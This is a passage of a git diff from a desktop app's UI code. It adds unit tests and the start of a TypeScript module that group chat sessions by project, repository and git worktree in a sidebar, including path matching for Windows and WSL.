+          sessions: [makeSession('/repo-ci')]
+        })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'main', detached: false, isMain: true, locked: false, path: '/repo' },
+      { branch: 'bb/ci-affected-only', detached: false, isMain: false, locked: false, path: '/repo-ci' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+    const ci = merged.find(g => g.id === '/repo-ci')
+
+    expect(ci?.label).toBe('bb/ci-affected-only')
+    // The relabel is label-only — the lane keeps its id, path, and sessions.
+    expect(ci?.path).toBe('/repo-ci')
+    expect(ci?.sessions).toHaveLength(1)
+  })
+
+  it('re-anchors a lane whose path drifted from git truth back to its branch path', () => {
+    // The reported bug: a lane is correctly labeled by its branch (`bb/attempts`)
+    // but its stored PATH points at a stale/old worktree dir. git pins a branch
+    // to exactly one worktree, so the lane must follow the branch's real path —
+    // otherwise "reveal in Finder" opens a completely different worktree.
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo/.worktrees/attempts',
+          label: 'bb/attempts',
+          isMain: false,
+          path: '/repo/.worktrees/attempts',
+          sessions: [makeSession('/repo/.worktrees/attempts')]
+        })
+      ]
+    }
+
+    // git now has `bb/attempts` at a sibling dir, not the stale `.worktrees` one.
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'bb/attempts', detached: false, isMain: false, locked: false, path: '/repo-pr-attempts' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+    const attempts = merged.filter(g => g.label === 'bb/attempts')
+
+    // Exactly one lane, re-pointed at git's real path (label preserved, sessions
+    // preserved), and NO leftover lane on the stale path.
+    expect(attempts).toHaveLength(1)
+    expect(attempts[0].path).toBe('/repo-pr-attempts')
+    expect(attempts[0].sessions).toHaveLength(1)
+    expect(merged.some(g => g.path === '/repo/.worktrees/attempts')).toBe(false)
+  })
+
+  it('collapses a re-anchored lane onto the real lane that already holds that path', () => {
+    // A stale lane (branch label, wrong path) AND the real worktree lane both
+    // exist. Re-anchoring the stale one onto git's path must not leave a twin —
+    // keep the richer (more sessions) lane.
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({ id: 'stale', label: 'bb/feature', isMain: false, path: '/repo/.worktrees/old', sessions: [] }),
+        lane({
+          id: '/repo-feature',
+          label: 'bb/feature',
+          isMain: false,
+          path: '/repo-feature',
+          sessions: [makeSession('/repo-feature'), makeSession('/repo-feature')]
+        })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'bb/feature', detached: false, isMain: false, locked: false, path: '/repo-feature' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+    const feature = merged.filter(g => g.path === '/repo-feature')
+
+    expect(feature).toHaveLength(1)
+    expect(feature[0].sessions).toHaveLength(2)
+    expect(merged.some(g => g.path === '/repo/.worktrees/old')).toBe(false)
+  })
+
+  it('keeps the dir label for a detached-HEAD worktree (no branch to show)', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({ id: '/repo-ci', label: 'repo-ci', isMain: false, path: '/repo-ci', sessions: [makeSession('/repo-ci')] })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: null, detached: true, isMain: false, locked: false, path: '/repo-ci' }
+    ]
+
+    expect(mergeRepoWorktreeGroups(repo, discovered).find(g => g.id === '/repo-ci')?.label).toBe('repo-ci')
+  })
+
+  it('collapses the main checkout into one home lane labeled by the live branch (off-trunk)', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo')]
+        })
+      ]
+    }
+
+    // The repo root is switched to a feature branch. The historical "main"
+    // sessions fold into ONE home lane labeled by the live branch — no stale
+    // "main" lane lingering beside it.
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'some-feature', detached: false, isMain: true, locked: false, path: '/repo' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+    const home = merged.find(g => g.isHome)
+
+    expect(merged.filter(g => g.isMain)).toHaveLength(1)
+    expect(home?.label).toBe('some-feature')
+    expect(home?.path).toBe('/repo')
+    expect(home?.sessions).toHaveLength(1)
+    expect(merged.some(g => g.label === 'main')).toBe(false)
+  })
+
+  it('labels the home lane "main" (still home-flagged) when the root is on trunk', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo')]
+        })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'main', detached: false, isMain: true, locked: false, path: '/repo' }
+    ]
+
+    const home = mergeRepoWorktreeGroups(repo, discovered).find(g => g.isHome)
+
+    expect(home?.label).toBe('main')
+    expect(home?.isHome).toBe(true)
+  })
+
+  it('folds multiple historical main-checkout branch lanes into the single live home lane', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo', { id: 'a' })]
+        }),
+        lane({
+          id: '/repo::branch::old',
+          label: 'old-feature',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo', { id: 'b' })]
+        })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'bb/live', detached: false, isMain: true, locked: false, path: '/repo' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+    const home = merged.find(g => g.isHome)
+
+    expect(merged.filter(g => g.isMain)).toHaveLength(1)
+    expect(home?.label).toBe('bb/live')
+    expect(home?.sessions.map(s => s.id).sort()).toEqual(['a', 'b'])
+  })
+
+  it('leaves main lanes untouched on a remote backend (no git probe)', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo')]
+        })
+      ]
+    }
+
+    // No discovered worktrees → no live branch truth → backend label stands.
+    const merged = mergeRepoWorktreeGroups(repo, undefined)
+
+    expect(merged.map(g => g.label)).toEqual(['main'])
+    expect(merged[0].isHome).toBeFalsy()
+  })
+})
+
+const makeProject = (id: string, folders: string[]): ProjectInfo => ({
+  archived: false,
+  board_slug: null,
+  color: null,
+  created_at: 0,
+  description: null,
+  folders: folders.map((path, i) => ({ added_at: 0, is_primary: i === 0, label: null, path })),
+  icon: null,
+  id,
+  name: id,
+  primary_path: folders[0] ?? null,
+  slug: id
+})
+
+const projectNode = (over: Partial<SidebarProjectTree> & Pick<SidebarProjectTree, 'id'>): SidebarProjectTree => ({
+  label: over.id,
+  path: over.id,
+  repos: [],
+  sessionCount: 0,
+  ...over
+})
+
+// Home as the backend emits it: no path, one synthetic lane carrying the rows.
+const homeNode = (sessions: SessionInfo[]): SidebarProjectTree =>
+  projectNode({
+    id: NO_PROJECT_ID,
+    isNoProject: true,
+    label: 'Home',
+    path: null,
+    repos: [
+      {
+        id: NO_PROJECT_ID,
+        label: 'Home',
+        path: null,
+        sessionCount: sessions.length,
+        groups: [lane({ id: NO_PROJECT_ID, label: 'Home', sessions })]
+      }
+    ],
+    sessionCount: sessions.length
+  })
+
+describe('liveSessionProjectId', () => {
+  it('maps a brand-new (unpersisted) session to its auto project (the repo root)', () => {
+    expect(liveSessionProjectId(makeSession('/www/app'), [])).toBe('/www/app')
+  })
+
+  it('routes a session under an explicit project folder to that project', () => {
+    const id = liveSessionProjectId(makeSession('/www/app/src', { git_repo_root: '/www/app', git_branch: 'feat' }), [
+      makeProject('p_app', ['/www/app'])
+    ])
+
+    expect(id).toBe('p_app')
+  })
+
+  it('anchors a cwd-less session on its git_repo_root (backend groups it there too)', () => {
+    // Older/imported rows carry only a repo root; the sidebar files them under
+    // the repo's project, so membership (and color) must resolve from the root.
+    expect(liveSessionProjectId(makeSession(null, { git_repo_root: '/www/app' }), [])).toBe('/www/app')
+    expect(
+      liveSessionProjectId(makeSession(null, { git_repo_root: '/www/app' }), [makeProject('p_app', ['/www/app'])])
+    ).toBe('p_app')
+  })
+
+  it('skips cwd-less, kanban-task, and out-of-tree (sibling) worktree sessions', () => {
+    expect(liveSessionProjectId(makeSession(null), [])).toBeNull()
+    // Kanban task worktree → folds into the kanban bucket, not a project preview.
+    expect(liveSessionProjectId(makeSession('/repo/.worktrees/t_aaaaaaaa'), [])).toBeNull()
+    // Sibling worktree OUTSIDE the repo root → project can't be derived from the row.
+    expect(liveSessionProjectId(makeSession('/elsewhere/wt', { git_repo_root: '/repo' }), [])).toBeNull()
+  })
+
+  it('places an in-tree worktree session under its repo project (the root is in the path)', () => {
+    // "Convert a branch" / "new worktree" land at `<repoRoot>/.worktrees/<slug>`,
+    // so they belong to the same auto project as the repo root and must show in
+    // the overview at once, not wait for the next backend refresh.
+    expect(liveSessionProjectId(makeSession('/www/app/.worktrees/test1', { git_repo_root: '/www/app' }), [])).toBe(
+      '/www/app'
+    )
+  })
+
+  it('routes an in-tree worktree session to the owning explicit project', () => {
+    const id = liveSessionProjectId(makeSession('/www/app/.worktrees/test1', { git_repo_root: '/www/app' }), [
+      makeProject('p_app', ['/www/app'])
+    ])
+
+    expect(id).toBe('p_app')
+  })
+
+  it('places a cwd-outside-root session under an explicit project matching either path', () => {
+    // A mid-session relocation (or a sibling worktree) leaves cwd outside the
+    // recorded repo root. An explicit folder match is still authoritative —
+    // only the auto-project (repo root) fallback needs cwd-under-root
+    // confidence. Match via the repo root...
+    expect(
+      liveSessionProjectId(makeSession('/www/elsewhere', { git_repo_root: '/home/u/proj' }), [
+        makeProject('p_proj', ['/home/u/proj'])
+      ])
+    ).toBe('p_proj')
+    // ...and via the cwd.
+    expect(
+      liveSessionProjectId(makeSession('/www/elsewhere/sub', { git_repo_root: '/home/u/proj' }), [
+        makeProject('p_www', ['/www/elsewhere'])
+      ])
+    ).toBe('p_www')
+  })
+
+  it('matches a mixed-case/separator Windows cwd to its explicit project in the live overlay', () => {
+    // The bug: a fresh Windows session drops into the overlay before the next
+    // backend refresh; case-sensitive matching missed its project until then.
+    const id = liveSessionProjectId(makeSession('c:/work/notes/SUB'), [makeProject('p_notes', ['C:\\Work\\Notes'])])
+
+    expect(id).toBe('p_notes')
+  })
+
+  it('matches a root-relative WSL cwd (single backslash) case-insensitively', () => {
+    const id = liveSessionProjectId(makeSession('//wsl.localhost/Ubuntu/home/alice/PROJ'), [
+      makeProject('p_proj', ['\\wsl.localhost\\Ubuntu\\home\\alice\\proj'])
+    ])
+
+    expect(id).toBe('p_proj')
+  })
+
+  it('keeps POSIX cwd matching case-sensitive (no false project match)', () => {
+    // Distinct case on POSIX is a distinct path → falls back to its own auto id.
+    expect(liveSessionProjectId(makeSession('/work/notes'), [makeProject('p_notes', ['/Work/Notes'])])).toBe(
+      '/work/notes'
+    )
+  })
+})
+
+describe('sessionProjectColor', () => {
+  const colored = (id: string, folders: string[], color: string): ProjectInfo => ({
+    ...makeProject(id, folders),
+    color
+  })
+
+  it('inherits the color of the explicit project the session belongs to', () => {
+    const session = makeSession('/www/app/src', { git_repo_root: '/www/app' })
+
+    expect(sessionProjectColor(session, [colored('p_app', ['/www/app'], '#4a9eff')])).toBe('#4a9eff')
+  })
+
+  it('returns null when the owning project has no color set', () => {
+    const session = makeSession('/www/app/src', { git_repo_root: '/www/app' })
+
+    expect(sessionProjectColor(session, [makeProject('p_app', ['/www/app'])])).toBeNull()
+  })
+
+  it('colors a cwd-less session by its git_repo_root project (the grouped-but-grey fix)', () => {
+    const session = makeSession(null, { git_repo_root: '/www/app' })
+
+    expect(sessionProjectColor(session, [colored('p_app', ['/www/app'], '#4a9eff')])).toBe('#4a9eff')
+  })
+
+  it('colors a cwd-outside-root session when an explicit project folder matches', () => {
+    // The backend tree groups such a row under the project; the client color
+    // derivation must agree instead of leaving the row (and its tab) grey.
+    const session = makeSession('/www/elsewhere', { git_repo_root: '/home/u/proj' })
+
+    expect(sessionProjectColor(session, [colored('p_proj', ['/home/u/proj'], '#4a9eff')])).toBe('#4a9eff')
+  })
+
+  it('returns null for a session that only maps to an auto repo root (no explicit project)', () => {
+    // liveSessionProjectId falls back to the repo root id, which is not a
+    // project row and therefore carries no color.
+    expect(sessionProjectColor(makeSession('/www/app'), [])).toBeNull()
+  })
+
+  it('returns null for an unplaceable (cwd-less) session', () => {
+    expect(sessionProjectColor(makeSession(null), [colored('p_app', ['/www/app'], '#4a9eff')])).toBeNull()
+  })
+
+  it('uses the longest-prefix project when nested projects both match', () => {
+    const session = makeSession('/www/app/packages/api/src', { git_repo_root: '/www/app' })
+
+    const projects = [
+      colored('p_root', ['/www/app'], '#111111'),
+      colored('p_api', ['/www/app/packages/api'], '#222222')
+    ]
+
+    expect(sessionProjectColor(session, projects)).toBe('#222222')
+  })
+})
+
+describe('overlayLiveLanes', () => {
+  it('injects a live session into the matching main lane instantly', () => {
+    const project = projectNode({
+      id: '/www/app',
+      isAuto: true,
+      repos: [{ id: '/www/app', label: 'app', path: '/www/app', sessionCount: 0, groups: [] }]
+    })
+
+    const live = [makeSession('/www/app', { id: 'fresh', git_branch: 'main' })]
+
+    const overlaid = overlayLiveLanes(project, live)
+    const lane = overlaid.repos[0].groups.find(g => g.label === 'main')
+
+    expect(lane?.sessions.map(session => session.id)).toContain('fresh')
+    expect(overlaid.sessionCount).toBe(1)
+  })
+
+  it('injects a session created in a fresh worktree into that worktree lane (no git_repo_root yet)', () => {
+    // The brand-new session row has only a cwd — no git_repo_root. The entered
+    // project knows its repo root, so the worktree session still lands in its
+    // own lane (not kanban, not skipped) optimistically.
+    const project = projectNode({
+      id: '/www/app',
+      isAuto: true,
+      repos: [{ id: '/www/app', label: 'app', path: '/www/app', sessionCount: 0, groups: [] }]
+    })
+
+    const live = [makeSession('/www/app/.worktrees/baby', { id: 'fresh' })]
+
+    const overlaid = overlayLiveLanes(project, live)
+    const lane = overlaid.repos[0].groups.find(g => g.id === '/www/app/.worktrees/baby')
+
+    expect(lane?.label).toBe('baby')
+    expect(lane?.sessions.map(s => s.id)).toEqual(['fresh'])
+  })
+
+  it('folds a kanban-task worktree session into the kanban lane', () => {
+    const project = projectNode({
+      id: '/www/app',
+      isAuto: true,
+      repos: [{ id: '/www/app', label: 'app', path: '/www/app', sessionCount: 0, groups: [] }]
+    })
+
+    const live = [makeSession('/www/app/.worktrees/t_abc12345', { id: 'k' })]
+
+    const overlaid = overlayLiveLanes(project, live)
+    const lane = overlaid.repos[0].groups.find(g => g.isKanban)
+
+    expect(lane?.id).toBe('/www/app::kanban')
+    expect(lane?.sessions.map(s => s.id)).toEqual(['k'])
+  })
+
+  it('does not duplicate a session already present in a backend lane', () => {
+    const existing = makeSession('/www/app', { id: 'dup', git_branch: 'main' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [
+            lane({ id: '/www/app::branch::main', label: 'main', isMain: true, path: '/www/app', sessions: [existing] })
+          ]
+        }
+      ]
+    })
+
+    const overlaid = overlayLiveLanes(project, [existing])
+
+    expect(overlaid.repos[0].groups.flatMap(g => g.sessions.map(s => s.id))).toEqual(['dup'])
+  })
+
+  it('adds a new session to an existing worktree lane keyed by a divergent id (matches by path)', () => {
+    // Backend keyed the worktree lane off a branch-style id (no live git probe),
+    // but the lane PATH is the worktree dir. A new session under that worktree
+    // must join the existing lane, not spawn a twin.
+    const existing = makeSession('/www/app/.worktrees/baby', { id: 'old' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [
+            lane({
+              id: '/www/app::branch::baby',
+              label: 'baby',
+              path: '/www/app/.worktrees/baby',
+              sessions: [existing]
+            })
+          ]
+        }
+      ]
+    })
+
+    const fresh = makeSession('/www/app/.worktrees/baby', { id: 'fresh' })
+
+    const overlaid = overlayLiveLanes(project, [existing, fresh])
+    const lanes = overlaid.repos[0].groups.filter(g => g.path === '/www/app/.worktrees/baby')
+
+    expect(lanes).toHaveLength(1)
+    expect(lanes[0].sessions.map(s => s.id).sort()).toEqual(['fresh', 'old'])
+  })
+
+  it('places a session into an out-of-tree (sibling) worktree lane by its path', () => {
+    // `clawcodex-ci` is a linked worktree living BESIDE the repo, not under
+    // it — repo-root nesting fails, but the existing lane carries its real path.
+    const existing = makeSession('/www/app-ci', { id: 'old' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [
+            lane({ id: '/www/app::branch::main', label: 'main', isMain: true, path: '/www/app', sessions: [] }),
+            lane({ id: '/www/app-ci', label: 'app-ci', path: '/www/app-ci', sessions: [existing] })
+          ]
+        }
+      ]
+    })
+
+    const fresh = makeSession('/www/app-ci', { id: 'fresh' })
+
+    const overlaid = overlayLiveLanes(project, [existing, fresh])
+    const ci = overlaid.repos[0].groups.find(g => g.path === '/www/app-ci')
+    const main = overlaid.repos[0].groups.find(g => g.label === 'main')
+
+    expect(ci?.sessions.map(s => s.id).sort()).toEqual(['fresh', 'old'])
+    expect(main?.sessions ?? []).toHaveLength(0)
+  })
+
+  it('places into a visual-only discovered worktree lane after merge', () => {
+    const discovered = [
+      { path: '/www/app-retry', branch: 'bb/ci-install-retry', isMain: false, detached: false, locked: false }
+    ]
+
+    const groups = mergeRepoWorktreeGroups({ id: '/www/app', path: '/www/app', groups: [] }, discovered)
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [{ id: '/www/app', label: 'app', path: '/www/app', sessionCount: 0, groups }]
+    })
+
+    const fresh = makeSession('/www/app-retry', { id: 'fresh' })
+
+    const overlaid = overlayLiveLanes(project, [fresh])
+    const lane = overlaid.repos[0].groups.find(g => g.path === '/www/app-retry')
+
+    expect(lane?.sessions.map(s => s.id)).toEqual(['fresh'])
+  })
+
+  it('evicts a deleted/archived snapshot row (and drops the lane once empty)', () => {
+    const a = makeSession('/www/app', { id: 'keep', git_branch: 'main' })
+    const b = makeSession('/www/app/.worktrees/baby', { id: 'gone' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 2,
+          groups: [
+            lane({ id: '/www/app::branch::main', label: 'main', isMain: true, path: '/www/app', sessions: [a] }),
+            lane({ id: '/www/app/.worktrees/baby', label: 'baby', path: '/www/app/.worktrees/baby', sessions: [b] })
+          ]
+        }
+      ]
+    })
+
+    // No live rows (both deleted from $sessions); only 'gone' is tombstoned.
+    const overlaid = overlayLiveLanes(project, [a], new Set(['gone']))
+
+    expect(overlaid.repos[0].groups.map(g => g.id)).toEqual(['/www/app::branch::main'])
+    expect(overlaid.repos[0].groups[0].sessions.map(s => s.id)).toEqual(['keep'])
+    expect(overlaid.sessionCount).toBe(1)
+  })
+
+  it('adds a brand-new detached chat to Home, and evicts a deleted one', () => {
+    const existing = makeSession(null, { id: 'old', started_at: 1 })
+    const doomed = makeSession(null, { id: 'gone', started_at: 2 })
+    const home = homeNode([existing, doomed])
+
+    const overlaid = overlayLiveLanes(home, [makeSession(null, { id: 'fresh', started_at: 9 })], new Set(['gone']))
+
+    expect(overlaid.repos[0].groups[0].sessions.map(s => s.id)).toEqual(['fresh', 'old'])
+    expect(overlaid.sessionCount).toBe(2)
+  })
+
+  it('leaves Home alone for a session that has a cwd', () => {
+    // A cwd-carrying row the backend hasn't placed yet (junk root, deleted
+    // workspace) needs its probes — guessing here would flicker it into Home
+    // and back out on the next snapshot.
+    const home = homeNode([])
+
+    expect(overlayLiveLanes(home, [makeSession('/www/app', { id: 'fresh' })])).toBe(home)
+  })
+})
+
+describe('overlayLivePreviews', () => {
+  it('merges live sessions into a project preview, live first, capped to the limit', () => {
+    const project = projectNode({
+      id: '/www/app',
+      previewSessions: [makeSession('/www/app', { id: 'old', started_at: 1, last_active: 1 })]
+    })
+
+    const live = [makeSession('/www/app', { id: 'fresh', started_at: 99, last_active: 99 })]
+
+    const previews = overlayLivePreviews([project], live, [], 3)
+
+    expect(previews['/www/app'].map(s => s.id)).toEqual(['fresh', 'old'])
+  })
+
+  it('evicts a deleted session from a project preview (snapshot + live)', () => {
+    const project = projectNode({
+      id: '/www/app',
+      previewSessions: [
+        makeSession('/www/app', { id: 'gone', started_at: 5, last_active: 5 }),
+        makeSession('/www/app', { id: 'old', started_at: 1, last_active: 1 })
+      ]
+    })
+
+    const previews = overlayLivePreviews([project], [], [], 3, new Set(['gone']))
+
+    expect(previews['/www/app'].map(s => s.id)).toEqual(['old'])
+  })
+
+  it('previews a detached session under Home, which no cwd could place', () => {
+    const previews = overlayLivePreviews([homeNode([])], [makeSession(null, { id: 'fresh' })], [], 3)
+
+    expect(previews[NO_PROJECT_ID].map(s => s.id)).toEqual(['fresh'])
+  })
+})
+
+describe('excludeProjectSessions', () => {
+  it('drops matching rows from every lane and recounts the subtree', () => {
+    const keep = makeSession('/www/app', { id: 'keep' })
+    const pinnedRow = makeSession('/www/app', { id: 'pinned' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 2,
+          groups: [lane({ id: 'main', isMain: true, label: 'main', path: '/www/app', sessions: [keep, pinnedRow] })]
+        }
+      ],
+      sessionCount: 2
+    })
+
+    const filtered = excludeProjectSessions(project, session => session.id === 'pinned')
+
+    expect(filtered.repos[0].groups[0].sessions.map(s => s.id)).toEqual(['keep'])
+    expect(filtered.repos[0].sessionCount).toBe(1)
+    expect(filtered.sessionCount).toBe(1)
+  })
+
+  it('keeps a lane the filter emptied — a worktree is structure, not a row', () => {
+    const pinnedRow = makeSession('/www/app/wt', { id: 'pinned' })
+
+    const project = projectNode({
+      id: '/www/app',
+      previewSessions: [pinnedRow],
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [lane({ id: 'wt', label: 'wt', path: '/www/app/wt', sessions: [pinnedRow] })]
+        }
+      ],
+      sessionCount: 1
+    })
+
+    const filtered = excludeProjectSessions(project, session => session.id === 'pinned')
+
+    expect(filtered.repos[0].groups.map(g => g.id)).toEqual(['wt'])
+    expect(filtered.repos[0].groups[0].sessions).toEqual([])
+    expect(filtered.previewSessions).toEqual([])
+    expect(filtered.sessionCount).toBe(0)
+  })
+
+  it('returns the same node when nothing matches (memo-stable)', () => {
+    const project = projectNode({
+      id: '/www/app',
+      previewSessions: [makeSession('/www/app', { id: 'keep' })],
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [
+            lane({ id: 'main', isMain: true, label: 'main', sessions: [makeSession('/www/app', { id: 'keep' })] })
+          ]
+        }
+      ],
+      sessionCount: 1
+    })
+
+    expect(excludeProjectSessions(project, () => false)).toBe(project)
+  })
+
+  it('survives the live overlay: a lane left empty by the filter is not pruned', () => {
+    // The two run in sequence on an entered project (filter, then overlay), and
+    // the overlay drops lanes it empties — it must not take the filter's with it.
+    const pinnedRow = makeSession('/www/app/wt', { id: 'pinned' })
+
+    const project = projectNode({
+      id: '/www/app',
+      repos: [
+        {
+          id: '/www/app',
+          label: 'app',
+          path: '/www/app',
+          sessionCount: 1,
+          groups: [lane({ id: 'wt', label: 'wt', path: '/www/app/wt', sessions: [pinnedRow] })]
+        }
+      ],
+      sessionCount: 1
+    })
+
+    const filtered = excludeProjectSessions(project, session => session.id === 'pinned')
+    const overlaid = overlayLiveLanes(filtered, [], new Set(['someone-else']))
+
+    expect(overlaid.repos[0].groups.map(g => g.id)).toEqual(['wt'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.ts b/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.ts
new file mode 100644
index 000000000..32896598e
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.ts
@@ -0,0 +1,753 @@
+import type { ProjectInfo, SessionInfo } from '@/clawcodex'
+import type { ClawCodexGitWorktree } from '@/global'
+import { normalize } from '@/lib/text'
+
+// Session grouping is now computed authoritatively on the backend
+// (`tui_gateway/project_tree.py`, exposed via `projects.tree` /
+// `projects.project_sessions`). The desktop is a thin renderer: this module
+// only holds the render contract (the three tree interfaces) plus a couple of
+// pure helpers and the VISUAL-ONLY worktree enhancer that injects empty lanes
+// from `git worktree list`. It never decides session membership.
+
+export interface SidebarSessionGroup {
+  id: string
+  label: string
+  path: null | string
+  sessions: SessionInfo[]
+  // Profile color for the ALL-profiles view; absent for workspace groups.
+  color?: null | string
+  // True when this group is a repo's main checkout (vs a linked worktree).
+  isMain?: boolean
+  // True for the repo's primary ("home") checkout lane — the single lane that
+  // collapses all main-checkout sessions, labeled by the worktree's LIVE branch
+  // (defaulting to `main`). Renders a home glyph and pins to the top.
+  isHome?: boolean
+  // True for the synthetic lane that collapses all of a repo's kanban task
+  // worktrees (`<repo>/.worktrees/t_*`) into one row, so a heavy board doesn't
+  // spray hundreds of throwaway branch lanes across the sidebar.
+  isKanban?: boolean
+  loadingMore?: boolean
+  mode?: 'profile' | 'source' | 'workspace'
+  onLoadMore?: () => void
+  sourceId?: string
+  /** Profile lanes only: the backend page was capped, so more rows exist on
+   *  disk than were loaded. Replaces the old exact `totalCount`, which cost a
+   *  COUNT(*) per profile on every sidebar refresh just to render `n/total`. */
+  hasMore?: boolean
+}
+
+/** A repo node: holds its branch/worktree lanes (`repo -> lane -> sessions`). */
+export interface SidebarWorkspaceTree {
+  id: string
+  label: string
+  path: null | string
+  groups: SidebarSessionGroup[]
+  sessionCount: number
+}
+
+/** A project node: human-named (or repo-derived), holds its repo subtree. */
+export interface SidebarProjectTree {
+  id: string
+  label: string
+  path: null | string
+  color?: null | string
+  icon?: null | string
+  archived?: boolean
+  // A git repo root promoted automatically (not a user-created projects.db row).
+  // Deletable = dismissable.
+  isAuto?: boolean
+  // The synthetic bucket (labeled "Home") holding every session no project
+  // claimed. It has no folder, so no repo/worktree structure — its one lane
+  // exists only to carry the rows.
+  isNoProject?: boolean
+  repos: SidebarWorkspaceTree[]
+  sessionCount: number
+  // Max activity timestamp across the project's sessions (overview sort key).
+  lastActive?: number
+  // Up to N most-recent sessions for the overview preview (set by `projects.tree`).
+  previewSessions?: SessionInfo[]
+}
+
+/** Path split into segments, ignoring trailing slashes and mixed separators. */
+const segments = (path: string): string[] =>
+  path
+    .replace(/[/\\]+$/, '')
+    .split(/[/\\]/)
+    .filter(Boolean)
+
+/** A path with trailing separators stripped, for stable equality checks. */
+const normalizePath = (path: null | string | undefined): string => (path ?? '').replace(/[/\\]+$/, '')
+
+// Windows spellings: drive-letter (`C:\…`), UNC (`\\srv`, `//srv`), or any
+// backslash-rooted path (`\wsl.localhost\…`). A single leading `/` stays POSIX.
+// Mirrors the backend `_is_windows_path` so the live overlay places rows into
+// the same project the backend tree would.
+const isWindowsPath = (path: string): boolean =>
+  /^[A-Za-z]:[/\\]/.test(path) || path.startsWith('\\') || path.startsWith('//')
+
+/**
+ * Segments for identity comparison: Windows paths fold case (and separators, via
+ * {@link segments}) so `C:\Work` and `c:/work` are one lane; POSIX stays
+ * case-sensitive. Comparison-only — emitted ids/labels keep their spelling.
+ */
+const comparisonSegments = (path: string): string[] => {
+  const segs = segments(path)
+
+  return isWindowsPath(path) ? segs.map(seg => seg.toLowerCase()) : segs
+}
+
+/** Canonical per-host comparison key (separator/case/trailing-slash agnostic). */
+const pathKey = (path: null | string | undefined): string => comparisonSegments(path ?? '').join('/')
+
+/** Last path segment. */
+export const baseName = (path: string): string | undefined => segments(path).pop()
+
+// The `.worktrees` dir for a KANBAN-TASK worktree path, else null. Only matches
+// task worktrees (`<repo>/.worktrees/t_<hex>`, the `t_…` id kanban_db mints) so
+// the many ephemeral task worktrees collapse into one lane — while user-named
+// "New worktree" dirs (`<repo>/.worktrees/<slug>`) stay as their own lanes.
+const KANBAN_DIR_RE = /^(.*[/\\]\.worktrees)[/\\]t_[0-9a-f]+[/\\]?$/
+
+export function kanbanWorktreeDir(path: string): null | string {
+  return path.match(KANBAN_DIR_RE)?.[1] ?? null
+}
+
+/** Label for a main-checkout lane whose session recorded no branch. */
+export const DEFAULT_BRANCH_LABEL = 'main'
+
+/** Id of the Home bucket (must match the backend tree's `NO_PROJECT_ID`). */
+export const NO_PROJECT_ID = '__no_project__'
+
+/**
+ * A session with nowhere to be placed: no cwd and no recorded repo root. These
+ * are the rows the Home bucket owns, and the only ones the live overlay can
+ * hand it — a row WITH a cwd that the backend still couldn't place (junk root,
+ * deleted workspace) needs the backend's probes, so it waits for the snapshot.
+ */
+export const isDetachedSession = (session: SessionInfo): boolean =>
+  !(session.cwd || '').trim() && !(session.git_repo_root || '').trim()
+
+/** The one definition of a main-checkout lane id (must match the backend tree). */
+export const branchLaneId = (repoRoot: string, branch?: string): string =>
+  `${repoRoot}::branch::${(branch ?? '').trim()}`
+
+/** A session's recency stamp (last activity, falling back to creation). */
+export const sessionRecency = (session: SessionInfo): number => session.last_active || session.started_at || 0
+
+/** Default-branch names that pin to the top and read as the repo's trunk. */
+const TRUNK_BRANCHES = new Set(['main', 'master', 'trunk', 'develop'])
+
+const isTrunkLane = (group: SidebarSessionGroup): boolean =>
+  Boolean(group.isMain) && TRUNK_BRANCHES.has(group.label.toLowerCase())
+
+/** A lane's recency = its most-recently-active session (empty lanes sink). */
